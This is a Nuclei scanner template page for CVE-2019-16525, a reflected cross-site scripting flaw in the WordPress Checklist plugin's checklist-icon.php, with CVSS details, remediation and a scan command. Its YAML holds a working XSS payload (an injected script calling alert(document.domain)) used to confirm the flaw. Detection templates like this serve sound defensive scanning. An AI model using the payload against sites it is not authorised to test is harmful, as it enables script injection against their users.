WordPress Checklist <1.1.9 - Cross-Site Scripting

ID: CVE-2019-16525

Severity: medium

Author: daffainfo

Tags: cve,cve2019,xss,wp-plugin,packetstorm,wordpress,checklist

Description

WordPress Checklist plugin before 1.1.9 contains a cross-site scripting vulnerability. The fill parameter is not correctly filtered in the checklist-icon.php file.

YAML Source

id: CVE-2019-16525

info:
  name: WordPress Checklist <1.1.9 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: WordPress Checklist plugin before 1.1.9 contains a cross-site scripting vulnerability. The fill parameter is not correctly filtered in the checklist-icon.php file.
  impact: |
    Allows attackers to inject malicious scripts into web pages viewed by users, leading to potential data theft or unauthorized actions.
  remediation: |
    Update to the latest version of the WordPress Checklist plugin (1.1.9 or higher) to mitigate this vulnerability.
  reference:
    - https://wordpress.org/plugins/checklist/#developers
    - https://packetstormsecurity.com/files/154436/WordPress-Checklist-1.1.5-Cross-Site-Scripting.html
    - https://plugins.trac.wordpress.org/changeset/2155029/
    - https://nvd.nist.gov/vuln/detail/CVE-2019-16525
    - https://wpvulndb.com/vulnerabilities/9877
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2019-16525
    cwe-id: CWE-79
    epss-score: 0.00323
    epss-percentile: 0.67586
    cpe: cpe:2.3:a:checklist:checklist:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: checklist
    product: checklist
    framework: wordpress
  tags: cve,cve2019,xss,wp-plugin,packetstorm,wordpress,checklist
flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/checklist/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        internal: true
        words:
          - 'Checklist'
          - 'Tags:'
        condition: and

  - method: GET
    path:
      - '{{BaseURL}}/wp-content/plugins/checklist/images/checklist-icon.php?&fill=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100d53c16005cfe20848724cd972720b50fe1a492554782211567499574ef20e8af022001ec775705ccf37142f0f419375ad383a7394f6e7aaab8513c239c6de52d05f4:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2019/CVE-2019-16525.yaml"

View on Github